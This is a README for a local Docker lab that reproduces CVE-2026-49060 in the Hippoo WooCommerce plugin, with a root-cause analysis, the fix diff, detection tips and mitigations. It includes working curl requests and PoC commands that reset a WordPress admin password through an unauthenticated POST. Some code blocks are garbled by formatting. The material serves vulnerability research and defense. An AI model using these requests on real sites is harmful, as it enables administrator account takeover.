
Laboratoire basé sur Docker pour reproduire CVE-2026-49060, une escalade de privilèges non authentifiée dans le plugin Hippoo Mobile App for WooCommerce pour WordPress. Compare les versions vulnérable 1.9.4 et corrigée 1.9.5 avec un PoC en Python.
Ce dépôt contient un laboratoire Docker local pour reproduire et valider la CVE-2026-49060, une vulnérabilité d'attribution de privilèges incorrecte affectant le plugin WordPress Hippoo Mobile App for WooCommerce.
Le comportement vulnérable est exposé via l'espace de noms d'API REST cloné d'Hippoo :```text /wc-hippoo/v1/ext/
Dans la cible vulnérable, un visiteur non authentifié peut accéder à une route clonée des utilisateurs de l'API REST WordPress et peut modifier le mot de passe de l'utilisateur administrateur via une requête HTTP non authentifiée. Dans la cible corrigée, la même requête est bloquée avec `403 Forbidden`.
Ce laboratoire compare deux versions d'Hippoo :
| Service | Version Hippoo | Objectif | URL |
| --------- | -------------: | ---------------------------- | ----------------------- |
| `vuln` | 1.9.4 | Cible de comparaison vulnérable | `http://localhost:8081` |
| `patched` | 1.9.5 | Cible de comparaison corrigée | `http://localhost:8082` |
La chaîne de vulnérabilité démontrée est :```text
Unauthenticated visitor
→ Hippoo cloned REST namespace
→ /wc-hippoo/v1/ext/wp/v2/users/<id>
→ vulnerable permission handling allows access
→ unauthenticated GET exposes user data
→ unauthenticated POST can update the selected user's password
→ patched version blocks the same request with 403 Forbidden
Ce laboratoire valide le comportement d'autorisation vulnérable par rapport au corrigé en utilisant Hippoo 1.9.4 et Hippoo 1.9.5.
Le laboratoire est intentionnellement limité aux services Docker locaux. Il ne cible pas les systèmes externes et n'inclut pas de persistance, de shells web, de logiciels malveillants ou de rappels externes.
Ce laboratoire utilise Hippoo 1.9.4 comme cible de comparaison vulnérable car les avis publics identifient les versions jusqu'à 1.9.4 comme affectées.
Ce laboratoire utilise Hippoo 1.9.5 comme cible de comparaison corrigée car les métadonnées des avis publics identifient 1.9.5 comme la version corrigée pour la plage affectée démontrée.
L'enregistrement public CVE-2026-49060 décrit le problème à un niveau élevé comme une affectation incorrecte des privilèges / escalade de privilèges. Ce laboratoire se concentre sur le comportement d'autorisation observable dans Hippoo 1.9.4 et le compare à Hippoo 1.9.5.
Le résumé de la cause racine dans ce README est basé sur une comparaison des sources entre les versions vulnérable et corrigée d'Hippoo utilisées dans le laboratoire.
Ce laboratoire ne prétend pas tester toutes les routes d'Hippoo. Il se concentre sur la route REST des utilisateurs WordPress clonée :```text /wc-hippoo/v1/ext/wp/v2/users/
The lab does not demonstrate:
* persistance,
* téléchargement de web shell,
* exécution de commande arbitraire,
* callbacks externes,
* comportement de malware,
* attaques contre des systèmes non-lab,
* ou activité post-compromission au-delà de la validation locale de mise à jour du mot de passe.
## Résumé de la cause racine
La cause racine est un défaut de logique de permission dans la gestion des rôles et permissions d'Hippoo.
Hippoo expose des routes REST clonées de WordPress et WooCommerce sous son propre namespace :```text
/wc-hippoo/v1/ext/
Le comportement de clonage de route est sensible à la sécurité car la route clonée doit préserver ou renforcer les exigences d'autorisation de la route d'origine. Si la route clonée reçoit un rappel d'autorisation permissif, les utilisateurs non authentifiés pourraient être en mesure d'atteindre des points de terminaison REST qui devraient nécessiter une authentification et une autorisation.
Le comportement pertinent de clonage de route suit ce schéma :```php function re_register_external_routes() { $server = rest_get_server(); $endpoints = $server->get_routes();
$new_namespace = $this->hippoo_namespace . '/ext';
foreach ($endpoints as $route => $handlers) {
if (strpos($route, $this->hippoo_namespace) === 0) {
continue;
}
foreach ($handlers as $handler) {
$default_permission_callback = array($this, 'is_user_wordpress_admin');
$permission_callback = apply_filters(
'hippoo_extension_permission_check',
$default_permission_callback,
$route,
$handler
);
register_rest_route(
$new_namespace,
$route,
array(
'methods' => $methods,
'callback' => $handler['callback'],
'args' => $handler['args'],
'permission_callback' => $permission_callback,
)
);
}
}
}
Le modèle de sécurité prévu est :```text
Original protected REST route
→ cloned into Hippoo namespace
→ permission callback still denies unauthenticated access
Le comportement vulnérable se produit parce que Hippoo 1.9.4 utilise la même valeur de retour pour deux états différents :```text
administrator / unrestricted access
unauthenticated visitor / no user
Dans Hippoo `1.9.4`, le helper de permission retourne `null` lorsqu'il n'y a aucun utilisateur WordPress connecté :```php
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists()) {
return null;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (!isset($settings[$role])) {
continue;
}
return $settings[$role];
}
return null; // Full access
}
La version vulnérable traite également null comme autorisé :```php
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin or unrestricted
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
Cela crée le flux de données vulnérable :```text
Unauthenticated visitor
→ no WordPress user exists
→ get_user_permissions() returns null
→ has_role_access() treats null as allowed
→ cloned REST route permission can become permissive
→ unauthenticated request reaches sensitive REST endpoints
Le problème n'est pas simplement qu'une route REST existe. Le problème est que la décision d'autorisation peut traiter incorrectement un visiteur non authentifié comme non restreint.
La version corrigée sépare ces états.
Dans Hippoo 1.9.5, les visiteurs non authentifiés renvoient false au lieu de null:```php
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
return false;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (isset($settings[$role])) {
return $settings[$role];
}
}
return false; // No access
}
Le contrôle d'autorisation corrigé refuse alors explicitement `false` :```php
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin
}
if ($perms === false) {
return false;
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
Le changement pertinent pour la sécurité est :```text Before: unauthenticated visitor → null → allowed
After: unauthenticated visitor → false → denied
Voilà pourquoi le laboratoire affiche :```text
Hippoo 1.9.4 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 200 OK
Hippoo 1.9.5 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 403 Forbidden
Le correctif modifie la signification des valeurs de retour des permissions.
Dans la version vulnérable :```text null means administrator/full access null also means unauthenticated/no user
Dans la version corrigée :```text
null means administrator/full access
false means unauthenticated/no role/no access
Le changement important au niveau du code source dans l'assistant de permissions est :```diff public static function get_user_permissions() { $user = wp_get_current_user();
return null;
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
return false;
}
if (in_array('administrator', (array) $user->roles)) { return null; // Full access }
$settings = get_option('hippoo_permissions_settings', []); foreach ((array) $user->roles as $role) {
if (!isset($settings[$role])) {
continue;
if (isset($settings[$role])) {
return $settings[$role];
}
return $settings[$role];
}
return null; // Full access
La décision d'autorisation est également modifiée :```diff
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
- return true; // admin or unrestricted
+ return true; // admin
}
+ if ($perms === false) {
+ return false;
+ }
+
if (empty($perms['general']['enable_access'])) {
return false;
}
}
Ce correctif ne supprime pas la fonctionnalité de clonage de route d'Hippoo. Il corrige plutôt la frontière de confiance autour de l'évaluation des autorisations.
La leçon de sécurité à tirer de ce correctif est :```text A permission helper must not use the same return value for "administrator" and "unauthenticated visitor".
Les fonctions de permissions sensibles à la sécurité doivent utiliser des valeurs distinctes pour des états distincts :```text
administrator / full access → allowed
authenticated user with policy → evaluate policy
unauthenticated user → denied
unknown role / no configured ACL → denied
Le laboratoire exécute deux installations WordPress isolées via Docker Compose.```text . ├── docker-compose.yml ├── vuln/ │ └── Dockerfile ├── patched/ │ └── Dockerfile ├── poc/ │ └── poc.py ├── README.md └── .gitignore
Les deux services WordPress utilisent des bases de données distinctes et des versions de plugins distinctes :
| Service | Composant | Version / Rôle |
| -------------- | -------------------------------- | ------------------------------- |
| `vuln` | WordPress + WooCommerce + Hippoo | application cible vulnérable |
| `patched` | WordPress + WooCommerce + Hippoo | application cible corrigée |
| `db-vuln` | MariaDB | base de données pour la cible vulnérable |
| `db-patched` | MariaDB | base de données pour la cible corrigée |
| `init-vuln` | service d'initialisation WordPress | initialise la cible vulnérable |
| `init-patched` | service d'initialisation WordPress | initialise la cible corrigée |
Services exposés par défaut :```text
Vulnerable target: http://localhost:8081
Patched target: http://localhost:8082
Le lab utilise des versions épinglées d'Hippoo :
| Cible | Version Hippoo | Comportement attendu |
|---|---|---|
http://localhost:8081 | 1.9.4 | la route des utilisateurs clonés non authentifiés est autorisée |
http://localhost:8082 | 1.9.5 | la route des utilisateurs clonés non authentifiés est bloquée |
Le lab installe WooCommerce car Hippoo s'intègre avec les classes et routes REST de WooCommerce.
Aucun paquet tiers Python n'est requis. Le PoC utilise uniquement les modules de la bibliothèque standard Python.
Démarrer le lab depuis un état propre :```bash docker compose down -v --remove-orphans
docker image rm -f
cve-2026-49060-vuln:1.9.4
cve-2026-49060-patched:1.9.5
docker compose up --build --wait -d
Vérifier l'état du service :```bash
docker compose ps
Services sains attendus :```text cve-2026-49060-vuln cve-2026-49060-patched cve-2026-49060-init-vuln cve-2026-49060-init-patched cve-2026-49060-db-vuln cve-2026-49060-db-patched
Vérifiez les applications web:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
Exécutez une validation en lecture seule sur les deux cibles :```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
Exécutez une validation locale active sur les deux cibles :```bash
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
Exécutez une validation active avec un mot de passe explicite :```bash python3 poc/poc.py --update-password --password 'NewLabPass123!' http://127.0.0.1:8081
## Utilisation du PoC
Passez une ou plusieurs URL cibles locales comme arguments positionnels :```bash
python3 poc/poc.py <target_url> [target_url...]
Exemples:```bash python3 poc/poc.py http://127.0.0.1:8081 python3 poc/poc.py http://127.0.0.1:8082 python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
Le mode par défaut est en lecture seule. Il envoie une requête `GET` non authentifiée à la route des utilisateurs clonés et indique si l'accès est autorisé ou bloqué.
Options prises en charge :```text
--update-password Send unauthenticated POST to update the selected user's password.
--user-id WordPress user ID to read or update. Default: 1.
--password Password used with --update-password.
Exemple de validation active :```bash python3 poc/poc.py --update-password --user-id 1 --password 'Cve49060LabPass123!' http://127.0.0.1:8081
Le PoC n'accepte que les cibles de bouclage/locales:```text
http://localhost:<port>
http://127.0.0.1:<port>
http://[::1]:<port>
It refuse les cibles non locales par conception.
Commande :```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
Signal de cible vulnérable attendu :```text
Target: target-1
Base : http://127.0.0.1:8081
[+] REST index ready via /?rest_route=/
[+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: ALLOWED
Request : GET http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
Signal cible patché attendu :```text Target: target-2 Base : http://127.0.0.1:8082
[+] REST index ready via /?rest_route=/ [+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: BLOCKED Request : GET http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden
Résumé attendu :```text
Summary
target-1
URL : http://127.0.0.1:8081
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : ALLOWED
GET status : 200
target-2
URL : http://127.0.0.1:8082
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : BLOCKED
GET status : 403
Read-only comparison:
At least one target allowed unauthenticated GET access and at least one target blocked it.
This supports a vulnerable-vs-patched authorization behavior difference.
Commande :```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
Signal de cible vulnérable attendu :```text
Active local validation: target-1
Base : http://127.0.0.1:8081
Unauthenticated POST password update result: ALLOWED
Request : POST http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
Signal cible corrigé attendu :```text Active local validation: target-2 Base : http://127.0.0.1:8082
Unauthenticated POST password update result: BLOCKED Request : POST http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden
La validation active modifie uniquement le mot de passe administrateur WordPress jetable à l'intérieur de la cible de laboratoire vulnérable locale.
Identifiants par défaut du laboratoire local avant la validation active :```text
Username: admin
Password: AdminPass123!
Mot de passe par défaut après validation active réussie sur la cible vulnérable :```text Username: admin Password: Cve49060LabPass123!
## Comment fonctionne la validation
Le validateur découvre d'abord l'API REST de WordPress.
Certains environnements WordPress exposent des routes REST via des permaliens personnalisés :```text
/wp-json/
D'autres les exposent de manière plus fiable via le fallback query-string :```text /?rest_route=/
Le validateur essaie les deux formes et utilise celle qui renvoie un index JSON REST. Après la découverte REST, il cherche la route des utilisateurs clonés de Hippoo :```text
/wc-hippoo/v1/ext/wp/v2/users
Ensuite, il effectue une requête GET en lecture seule non authentifiée:```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Comportement vulnérable attendu :```text
HTTP 200 OK
JSON user object returned
Comportement attendu après correction :```text HTTP 403 Forbidden JSON rest_forbidden error returned
Lorsque `--update-password` est activé, le validateur envoie une requête POST non authentifiée :```text
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Content-Type: application/json
{
"password": "Cve49060LabPass123!"
}
Comportement vulnérable attendu :```text HTTP 200 OK The selected user's password is updated inside the local lab target.
Comportement attendu après correction :```text
HTTP 403 Forbidden
The update is blocked.
La différence importante n'est pas de savoir si la route existe. La route existe dans les deux versions. La différence de sécurité réside dans le fait qu'une requête non authentifiée soit autorisée à l'invoquer.
Sonde vulnérable en lecture seule :```bash
curl -i
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
Résultat attendu :```text
HTTP/1.1 200 OK
Content-Type: application/json
Sonde patchée en lecture seule :```bash
curl -i
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
Résultat attendu :```text
HTTP/1.1 403 Forbidden
Content-Type: application/json
Sonde active vulnérable :```bash
curl -i -X POST
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'
Résultat attendu :```text
HTTP/1.1 200 OK
Sonde active patchée :```bash
curl -i -X POST
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'
Résultat attendu :```text
HTTP/1.1 403 Forbidden
Le comportement vulnérable permet un accès non authentifié aux routes REST clonées sous l'espace de noms de Hippoo. La route la plus sensible démontrée est la route clonée des utilisateurs de WordPress :```text /wc-hippoo/v1/ext/wp/v2/users/
Dans la cible locale vulnérable, une requête non authentifiée peut mettre à jour le mot de passe de l'utilisateur administrateur. Cela démontre l'impact de la prise de contrôle de compte dans le laboratoire contrôlé.
L'impact potentiel dans le monde réel, selon la configuration du site et les routes exposées, inclut :
* accès non autorisé aux données sensibles de l'API REST,
* prise de contrôle du compte administrateur,
* escalade de privilèges,
* modification non autorisée des enregistrements d'utilisateurs WordPress,
* et compromission complète du site après obtention de l'accès administrateur.
Ce laboratoire démontre uniquement l'échec d'autorisation et la mise à jour du mot de passe de l'administrateur local. Il n'inclut pas l'exploitation post-authentification, l'édition de plugins, l'exécution de code, la persistance ou les actions destructrices.
## Détection et Surveillance
Les indicateurs potentiels incluent les requêtes non authentifiées vers l'espace de noms REST cloné d'Hippoo :```text
/wc-hippoo/v1/ext/
Modèle de route à haut risque:```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/ POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/
Indicateurs suspects :```text
Unauthenticated POST requests to users endpoints
Requests containing "password" in JSON body
Requests to /wc-hippoo/v1/ext/wp/v2/users
Requests to cloned WooCommerce or WordPress REST routes under /wc-hippoo/v1/ext/
Unexpected 200 responses for unauthenticated REST API requests
Exemples de motifs de logs d'accès:```text POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Actions de surveillance recommandées :
* Examinez les journaux d'accès du serveur web pour `/wc-hippoo/v1/ext/`.
* Examinez les journaux d'authentification WordPress pour les connexions administrateur inattendues.
* Examinez les enregistrements d'utilisateurs WordPress pour les changements de mot de passe récents.
* Examinez les adresses email, les rôles et les horodatages de création des comptes administrateur.
* Examinez les heures de modification des fichiers de plugin/thème en cas de suspicion de prise de contrôle administrateur.
* Surveillez les requêtes API REST qui renvoient `200 OK` à des utilisateurs non authentifiés alors que l'autorisation devrait être requise.
## Mesures d'atténuation et notes de correctif
Mettez à niveau Hippoo Mobile App for WooCommerce vers une version corrigée.
Pour la comparaison spécifique en laboratoire, Hippoo `1.9.5` bloque le comportement démontré de la route d'utilisateurs clonés non authentifiée, qui était autorisé dans `1.9.4`.
Pour les environnements de production, mettez à jour vers la dernière version disponible plutôt que de vous arrêter à la version de comparaison en laboratoire.
Étapes d'atténuation recommandées :
* Mettez à jour Hippoo Mobile App for WooCommerce vers la dernière version corrigée disponible.
* Confirmez que la version installée est plus récente que la plage affectée.
* Vérifiez si `/wc-hippoo/v1/ext/` est exposé publiquement.
* Rotation des mots de passe administrateur en cas de suspicion d'exploitation.
* Examinez les comptes administrateur WordPress pour détecter des modifications non autorisées.
* Examinez les journaux d'accès web pour les requêtes non authentifiées vers les routes REST clonées.
* Désactivez temporairement le plugin si une mise à jour immédiate n'est pas possible.
* Utilisez un WAF ou un correctif virtuel comme couche temporaire, pas comme un remplacement de la mise à jour.
Leçons d'ingénierie de sécurité :```text
Do not use the same sentinel value for "administrator" and "unauthenticated visitor".
Fail closed when user identity is missing.
REST route permission callbacks should deny by default.
Cloned or proxied routes must preserve or strengthen authorization, not weaken it.
Vérifier l'état du conteneur :```bash docker compose ps
Vérifiez les logs d'initialisation :```bash
docker compose logs init-vuln init-patched
Vérifier les services web:```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head
Exécuter la validation en lecture seule :```bash
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
Exécuter une validation active :```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
Vérifier les plugins actifs :```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
Vérifiez les versions de Hippoo:```bash
docker compose exec -T vuln sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
docker compose exec -T patched sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
Inspectez la logique de permissions dans la cible vulnérable :```bash
docker compose exec -T vuln sh -lc \
"grep -n \"function get_user_permissions\\|function has_role_access\" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
Inspectez la logique de permission dans la cible patchée :```bash
docker compose exec -T patched sh -lc
"grep -n "function get_user_permissions\|function has_role_access" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
Enregistrer la preuve de validation :```bash
mkdir -p evidence
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/read-only-validation.txt
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/active-password-update-validation.txt
docker compose ps \
| tee evidence/docker-compose-ps.txt
Arrêter et supprimer les conteneurs et les réseaux :```bash docker compose down --remove-orphans
Supprimer les conteneurs, les réseaux et les volumes :```bash
docker compose down -v --remove-orphans
Supprimer les fichiers de preuves locaux s'ils ont été créés :```bash rm -rf evidence/
## Limites de sécurité
Ce laboratoire est réservé à la recherche en sécurité locale et à une démonstration contrôlée uniquement.
N'exécutez pas la preuve de concept (PoC) ou les requêtes curl manuelles contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.
N'utilisez pas de véritables identifiants de production, de véritables données clients ou des secrets de production dans ce laboratoire.
Le périmètre visé se limite aux services Docker locaux tels que :```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
Le PoC est intentionnellement limité à HTTP et à la portée locale. Il n'appelle pas Docker, Docker Compose, WP-CLI, ou les API de conteneurs.
Le mode de validation active change le mot de passe uniquement pour l'utilisateur WordPress sélectionné dans la cible de laboratoire local jetable.
Le laboratoire n'inclut pas de charges utiles pour :
L'objectif est de démontrer une condition technique spécifique dans un environnement contrôlé :```text unauthenticated request
## Références
* NVD: CVE-2026-49060
https://nvd.nist.gov/vuln/detail/CVE-2026-49060
* Patchstack: Plugin WordPress Hippoo Mobile App pour WooCommerce <= 1.9.4 Escalade de privilèges
https://patchstack.com/database/wordpress/plugin/hippoo/vulnerability/wordpress-hippoo-mobile-app-for-woocommerce-plugin-1-9-4-privilege-escalation-vulnerability
* Avis GitHub: GHSA-mh6m-7983-2r5w
https://github.com/advisories/GHSA-mh6m-7983-2r5w
* Plugin WordPress.org: Hippoo Mobile App pour WooCommerce
https://wordpress.org/plugins/hippoo/
* SVN du Plugin WordPress.org
https://plugins.svn.wordpress.org/hippoo/
* Tags SVN du Plugin WordPress.org
https://plugins.svn.wordpress.org/hippoo/tags/
* Manuel de l'API REST WordPress: Routes et Points de terminaison
https://developer.wordpress.org/rest-api/extending-the-rest-api/routes-and-endpoints/
* Guide de test de sécurité Web OWASP: Test de contournement d'autorisation
https://owasp.org/www-project-web-security-testing-guide/
| Affirmation | Preuve | Comment vérifier dans ce laboratoire |
|---|
CVE-2026-49060 affecte l'application mobile Hippoo pour WooCommerce jusqu'à la version 1.9.4. | Les avis publics identifient Hippoo <= 1.9.4 / jusqu'à 1.9.4 comme étant affecté. | Consultez la section Références et comparez la version du service vuln. |
Hippoo 1.9.5 est utilisé comme cible de comparaison corrigée. | Les métadonnées des avis publics identifient 1.9.5 comme une version corrigée pour la plage affectée. | Exécutez docker compose logs init-vuln init-patched et confirmez les versions de plugin initialisées. |
| Le comportement vulnérable est exposé via l'espace de noms REST cloné d'Hippoo. | Hippoo réenregistre les routes REST externes sous /wc-hippoo/v1/ext/. | Exécutez python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082. |
Hippoo 1.9.4 autorise l'accès non authentifié à la route des utilisateurs clonée dans ce laboratoire. | Le PoC du laboratoire reçoit 200 OK de http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1. | Exécutez la commande de validation en lecture seule contre 8081. |
Hippoo 1.9.5 bloque la même requête non authentifiée dans ce laboratoire. | Le PoC du laboratoire reçoit 403 Forbidden de http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1. | Exécutez la commande de validation en lecture seule contre 8082. |
| La cible vulnérable peut mettre à jour le mot de passe de l'administrateur via un POST non authentifié dans ce laboratoire local. | Le PoC actif reçoit 200 OK de la cible vulnérable lorsque --update-password est utilisé. | Exécutez python3 poc/poc.py --update-password http://127.0.0.1:8081. |
| La cible corrigée bloque la demande de mise à jour de mot de passe non authentifiée. | Hippoo 1.9.5 renvoie une réponse interdite pour la même route des utilisateurs clonée. | Exécutez la validation active contre les deux cibles. |
| Le PoC est uniquement HTTP. | poc/poc.py envoie uniquement des requêtes HTTP et n'appelle pas Docker, WP-CLI ou les API de conteneur. | Inspectez poc/poc.py. |